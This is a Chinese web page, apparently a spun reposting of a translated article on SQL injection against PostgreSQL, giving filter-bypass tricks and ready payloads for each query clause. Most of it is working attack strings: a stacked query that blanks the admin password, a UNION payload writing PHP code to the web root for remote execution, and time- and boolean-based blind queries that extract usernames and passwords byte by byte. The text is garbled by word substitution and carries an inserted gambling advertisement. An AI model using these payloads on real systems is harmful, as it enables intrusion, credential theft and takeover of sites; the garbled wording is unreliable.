首页科技正文

电银付app下载(dianyinzhifu.com):SQL注入渗透PostgreSQL(bypass tricks)

admin2020-12-22103安全技术WEB安全

SQL注入渗透PostgreSQL(bypass tricks)

这篇文章主要围绕使用Postgres DMBS对应用程序中的SQL注入破绽举行一样平常剖析,行使和发现。

我们将研究Web应用程序防火墙的绕过方式,以及在差别的查询子句中泄露数据的方式,例如SELECT,WHERE,ORDER BY,FROM等。

简要概述一下,PostgreSQL是:

[…] a free and open-source relational database management system emphasizing extensibility and technical standards compliance. It is designed to handle a range of workloads, from single machines to data warehouses or Web services with many concurrent users. - Wikipedia

免责声明:所有这些绕过和手艺点试均已在PostgreSQL版本12.2和仅12.2上举行了测试

绕过方式

由于DBMS大部门都使用通用语言(SQL),因此基本功效和语法实际上是通用的。这意味着在DBMS上的绕过技巧可能会应用在差别的数据库中。例如,当SQL注入中的空格被waf时,您可以改用注释,例如:

查询: SELECT 1; 绕过: SELECT/**/1;

上面的示例在MySQL和PostgreSQL(本文围绕的DBMS数据库类型)中正常使用。

绕过分隔符

如上所示: /**/ == " "(不带引号,空格)

注入点后绕过多余的尾随数据

; -- -告诉查询忽略所有尾随数据,例如:SELECT 'admin' OR 1 = 1; -- -' FROM users;将酿成SELECT 'admin' OR 1 = 1;

绕过引号的限制(*)

使用$符号: SELECT $$test$$;SELECT 'test';

若是延续的美元符号被阻止($$),那么您也可以在postgreSQL中使用标签,方式是将标签名称放在$符号之间: SELECT $quote$test$quote$;SELECT 'test';

同时我们也可以在字符串拼接的时刻接纳CHR()函数:

SELECT CHR(65)||CHR(66)||CHR(67)||CHR(68)||CHR(69)||CHR(70)||CHR(71)||CHR(72);等效于SELECT 'ABCDEFGH';

注重:您不能同时使用'$$ $quote$,因此,若是您需要转义以单引号开头的字符串,则将无法使用$$(即这种语句是无效的SELECT 'test$$;)

嵌套查询

PS.类似堆叠查询

有时,您很幸运得发现您的SQL注入点支持嵌套查询。这使您可以完全控制数据库执行什么操作(只要没有某种Web应用程序防火墙或过滤器)。

嵌套查询可以终止易受SQL注入攻击的查询,然后启动一个全新的查询(支持任何类型)。

例如: SELECT [INJECTION POINT] FROM users; 然后可以酿成: SELECT ''; UPDATE users SET password = '' WHERE name = 'admin'; -- -' FROM users; 数据库会将其理解为:

SELECT ''; UPDATE users SET password = '' WHERE name = 'admin';这将会把用户表中管理员的密码设置为空且不会有任何的回显(请注重,若是应用程序之前对密码举行了哈希处置,则将管理员密码设置为空缺将其插入数据库后,您将无法登录)

最终有用载荷为: '; UPDATE users SET password = '' WHERE name = 'admin'; -- -

为了深入剖析以下负载,我们假定不允许嵌套查询。

差别子句的攻击方式

本节将假设不允许使用嵌套查询,并将演示一些其他可能提高严重性或通过blind注入和回显注入泄露数据的方式。

SELECT / UNION

若是您的注入点位于SELECT或UNION子句中,那么您很幸运。毫无疑问,这是最容易行使的"子句",由于" SELECT"子句的挪用较早,这意味着您可以自行构建大部门SQL查询,从而为您提供险些完全的灵活性。至于UNION子句,它可能是大多数有关若何在线行使的有用文档的子句之一。这意味着您很可能能够找到适合您的有用负载。

SELECT

我所说的"子句被较早挪用"是指它通常是结构化语句中第一个被挪用的子句,而且注入点通常是尽可能地从头更先。我们可以滥用它来基本上举行我们自己的查询。

例如(从"[INJECTION POINT]"更先我们可以控制任何器械): SELECT '[INJECTION POINT]';

用法 完整查询 载荷
追加数据到输出 SELECT '1' UNION SELECT 'a'; – -' 1' UNION SELECT 'a'; – -
通过PHP代码RCE SELECT ''UNION SELECT 'MALICIOUS PHP CODE' \g /var/www/test.php; – -'; 'UNION SELECT 'MALICIOUS PHP CODE' \g /var/www/test.php; – -
时间盲注泄露字符 `SELECT '' pg_sleep((ASCII((SELECT 'a' LIMIT 1)) - 32) / 2); – -';` `' pg_sleep((ASCII((SELECT'a'LIMIT 1))-32)/2); – –`

UNION

除了数据应附加到输出末尾而不是消灭输出,上一节的规则同样适用。

在这两种情况下,一个异常有用的运算符是毗邻运算符(||),由于它可用于将数据附加到统一行的输出中。

例如: SELECT ''||password FROM users; -- -';将从用户表中返回密码列。

WHERE

WHERE子句用于指定条件,以便DBMS对您要查找的内容有更清晰的领会。查询示例为:

SELECT * FROM users WHERE name = 'admin';

知道了这一点,而且事实上该子句在大部门时间也都出现在查询的早期,我们可以完成where子句,然后使用如上所示的UNION有用负载来进一步行使它,或者直接使用WHERE条件过滤数据。例如:

SELECT first_name FROM actor WHERE first_name = 'Gus';

能够酿成:

SELECT first_name FROM actor WHERE first_name = ''||(SELECT 'Penelope'); -- -';

电银付app下载(dianyinzhifu.com):SQL注入渗透PostgreSQL(bypass tricks) 安全技术 WEB安全 第1张

(ps.效果如上)

现在我们有了字符串的串联(通过||来串联字符),我们可以使用COUNT() 和 CASE WHEN将其转换为二进制查询。

这是我开发的有用负载,它行使了这样的头脑:我们知道要用原始WHERE子句查询的表中的至少一个值。

SELECT first_name FROM actor WHERE first_name = ''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO '[BRUTEFORCE BYTE BY BYTE]%')))<>0 THEN 'Penelope' ELSE '' END);

现在,凭据密码是否以我们要强行使用的字节开头(BRUTEFORCE BYTE BY BYTE),它将返回查询SELECT first_name FROM actor WHERE first_name = 'Penelope';的输出,否则输出SELECT first_name FROM actor WHERE first_name = '';的查询效果

然后,我们可以使用此信息泄露在数据库的其他表的所有字符串。

FROM

FROM子句用于确定我们从数据库的哪个部门中选择信息,通常是在将参数传递给SELECT子句之后。

,

联博以太坊高度

www.326681.com采用以太坊区块链高度哈希值作为统计数据,联博以太坊统计数据开源、公平、无任何作弊可能性。联博统计免费提供API接口,支持多语言接入。

,

对于此SQL注入,我们可以依赖基于可信时间盲注,除了将它作为表之外,我们需要为其命名。可以使用postgreSQL中的“ AS”子句来完成。

一个例子是: SELECT address FROM (SELECT * FROM address WHERE address=''||(pg_sleep(20))) ss;

我们可以使用它纯粹通过FROM子句窃取数据,如下所示:

(SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -

凭据SELECT username FROM staff WHERE username SIMILAR TO 'M%'返回的内容与否,它会休眠20秒,或者什么也不做。可以逐字节fuzz数据。

最终查询payload如下:

SELECT address FROM (SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -;

ORDER BY

仅在ORDER BY子句中窃取数据时,涉及条件就会相当庞大。我找到了该子句的两个有用参数(true和 false)-> order by true or order by false,然后嵌套了SELECT和CASE WHEN语句,直到我可以将"若是此表的密码字段以某个字节开头,然后睡眠20秒"转换为"true或false"

(SELECT CASE WHEN COUNT((SELECT (SELECT CASE WHEN COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%'))<>0 THEN pg_sleep(20) ELSE '' END)))<>0 THEN true ELSE false END); -- -

为了进一步细分它,在一个完整的正当查询中,它看起来类似:

SELECT address FROM address ORDER BY (
    SELECT CASE WHEN COUNT((
        SELECT (
            SELECT CASE WHEN COUNT((
                SELECT username FROM staff WHERE username SIMILAR TO 'M%'))
            <>0 THEN pg_sleep(20) ELSE '' END)
        ))
    <>0 THEN true ELSE false END); -- -

下面将对该查询的历程举行实验性的注释:

  1. 若是第一个COUNT函数没有返回零,那么对于ORDER BY,我们获得最终的true或false。
  2. 准确或错误取决于内部选择(第二个查询是焦点判断的)。
  3. 内部选择将休眠20秒,或者什么也不返回。
  4. 这取决于职员表中用户的首字母是否以M开头(这是SELECT username FROM staff WHERE username SIMILAR TO 'M%'部门)。

OFFSET

此子句允许您仅检索由其余查询天生的一部门行。OFFSET将从输出的行的开头删除分配给它的行数,而LIMIT则从末尾删除它们。

若是在返回大量数据的某种器械中发现了这种SQL注入,则可以使用从输出开头删除的行数来确定字符串的长度,甚至可以通过将字符转换为ASCII码来确定字符的长度。

例如,使用LENGTH函数: dvdrental=, SELECT address FROM address OFFSET 0;将返回:

47 MySakila Drive
 28 MySQL Boulevard
 23 Workhaven Lane
 1411 Lillydale Drive
 1913 Hanoi Way
 1121 Loja Avenue
 692 Joliet Street
 1566 Inegl Manor
 53 Idfu Parkway
 1795 Santiago de Compostela Way
 900 Santiago de Compostela Parkway
 478 Joliet Way
 613 Korolev Drive
 1531 Sal Drive
 1542 Tarlac Parkway

因此,我们现在可以根据以下方式举行操作: SELECT address FROM address OFFSET 0|(SELECT LENGTH((SELECT username FROM staff WHERE username SIMILAR TO 'M%')));

1913 Hanoi Way
 1121 Loja Avenue
 692 Joliet Street
 1566 Inegl Manor
 53 Idfu Parkway
 1795 Santiago de Compostela Way
 900 Santiago de Compostela Parkway
 478 Joliet Way
 613 Korolev Drive
 1531 Sal Drive
 1542 Tarlac Parkway

因此,我们可以看到输出中的前四行已被删除,这意味着工作职员表中以 "M"开头的用户名长度为4个字符。

此外,基于OFFSET子句是否删除行,我们可以逐字节地实验增添字符。像这样: SELECT address FROM address OFFSET 0+(SELECT LENGTH((SELECT password FROM staff WHERE password SIMILAR TO '8%' LIMIT 1)));

这样会将要删除的行数设置为0 +(以“ 8”开头的密码长度),因此,若是存在以8开头的密码,我们将看到返回的行数有所差别。这可以用来进一步检查每个字节,直到我们检索到整个密码值为止。

HAVING

此参数接受一个条件,因此我添加了一个AND运算符以使之必须都为真,然后添加了条件,该条件将使我们可以逐字节对值举行暴力破解。

t' AND (SELECT COUNT((SELECT password FROM staff WHERE password SIMILAR TO '8%' LIMIT 1))) = 1; -- -

同样,若是未显示输出,则可以使pg_sleep()函数的大部门时间睡眠(若是为true)20秒钟,并使用它来确定条件输出。

快速测试破绽

这些都是可以用于参数测试破绽的导致应用程序进入睡眠状态并延迟响应时间而且快速有用payload。若是服务器响应时间随着有用负载而增添了显著的时间(约莫20秒),则意味着应用程序容易受到攻击。

SELECT

若是parameter是整数:

pg_sleep(20); -- -

若是参数是字符串:

'||pg_sleep(20); -- -

FROM

仅当有用负载的第一个SELECT子句中提供了有用的表名(TABLE)和列(COLUMN)时,这才有用

(SELECT * FROM [TABLE] WHERE [COLUMN]=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

或者

(SELECT * FROM [TABLE] WHERE [COLUMN] = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

最后的"ss"是需要的,但可以是任何非保留字.

当已知列需要一个Int

示例:

(SELECT * FROM address WHERE address_id=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

完整查询

SELECT address FROM (SELECT * FROM address WHERE address_id=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

当已知列需要字符串时

示例:

(SELECT * FROM address WHERE address = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

完整查询:

SELECT address FROM (SELECT * FROM address WHERE address = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

WHERE

若是parameter是整数:

1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END)); -- -

若是parameter是字符串:

'||(pg_sleep(20)); -- -

ORDER BY

注重,此操作实际上不会更改依赖于布尔型输出的输出顺序,因此一定要触发pg_sleep(20)

(SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN true ELSE false END); -- -

HAVING

若是parameter是整数:

(COUNT((SELECT pg_sleep(20)))=1); -- -

若是parameter是字符串:

t' AND (SELECT COUNT((SELECT pg_sleep(20)))) = 1; -- -

OFFSET

若是parameter是整数:

1|(SELECT COUNT((SELECT pg_sleep(20)))); -- -

若是parameter是字符串,请使用":: integer"将值转换为int字符串,然后使用与上述相同的有用负载(*tricks)

1'::integer + 1|(SELECT COUNT((SELECT pg_sleep(20)))); -- -

结论

总之,只管我注重到该特定引擎缺少公然的SQL注入有用负载,但许多手艺和方式已从其他DBMS转移到了postgreSQL。

正如我以前从未接触过postgreSQL一样,我以为这将是一个很好的机遇,可以扩展我的手艺知识,而且使自己熟悉此DBMS可能具有,而其他DBMS则不可能具有的功效。

参考文献

  • https://www.postgresql.org/docs/9.5/sql-select.html
  • https://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf

PS:
本文为翻译文章:
原文链接:pentesting-postgresql-with-sql-injections


网友评论

最新评论